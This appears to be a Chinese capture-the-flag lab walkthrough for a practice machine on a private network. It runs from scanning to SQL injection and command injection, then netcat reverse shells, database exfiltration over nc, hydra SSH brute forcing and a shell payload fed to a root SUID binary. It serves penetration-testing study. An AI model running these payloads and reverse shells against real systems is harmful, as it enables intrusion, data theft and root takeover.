• 靶机地址
  • 难度:低

    知识点

  • 端口扫描
  • WEB侦查
  • SQL注入
  • 命令注入
  • 密码爆破
  • 代码审计
  • NC串联
  • 本地提权

    步骤

  • 主机发现
    • for i in $(seq 1 254); do sudo arping -c 2 192.168.2.$i; done
  • 端口扫描
    • nmap -p- 192.168.2.113
  • 扫描服务及版本
    • nmap -p22,8080 -sV 192.168.2.113
  • 发现8080是一个WEB服务
    • BP抓包,用字符字典跑一下
    • 报错:’select * from code where password=”‘ + password + ‘“‘
  • 对报错语句分析
    • select * from code where password=” + password + “
    • 输入的 “ 会代入 password中报错
  • 进行注入
    • select * from code where password=” + “ or 1=1 – + “
    • 测试 " or 1=1 -- 成功注入
  • 进入的页面是输入文件,就对其进行扫描,测试命令执行
    • cat | id
    • 存在命令执行
  • 反弹shell
    • 先查看有没有nc
      • cat | which nc
    • 攻击机先监听:nc -nvlp 4444
    • 测试nc的版本支不支持 -e 参数
      • cat | nc 192.168.2.33 4444 -e /bin/bash
      • cat | nc 192.168.2.33 4444
      • 第一条不成功,第二条成功
    • 使用 nc 串联
      • 攻击机监听 nc -nvlp 3333 和 nc -nvlp 4444
      • cat | nc 192.168.2.33 3333 | /bin/bash | nc 192.168.2.33 4444
      • 在 3333 的容器输入命令,在 4444 的窗口回显结果
  • 查看了一些文件后,发面有个sqlite的文件在上无法查看,把它下下来
    • nc -nvlp 5555 > db.sql
    • 在shell中输入 nc 192.168.2.33 < database.sql
  • 在kali上查看sqlite文件
    • sqlite3
    • .open db.sql
    • .database
    • .dump
    • 发现4个密码,记录passwd.txt
  • 查找账号
    • cat /etc/passwd
    • cat /etc/passwd | grep /bin/bash
    • 确定了3个账号可用,记录user.txt
  • SSH爆破
    • hydra -L user.txt -P passwd.txt ssh://192.168.2.113
    • 爆破失败
  • 在上一级目录发现 update_cloudav 的文件和 .c源代码
    • update_cloudav有s标记位,且属主为root
    • 先查看源代码
    • 测试程序:./update_cloudav a
    • 测试payload:./update_cloudav “a | nc 192.168.2.33 5555 | /bin/bash | nc 192.168.2.33 6666”

  • kali的字典一般在
    • /usr/share/wordlists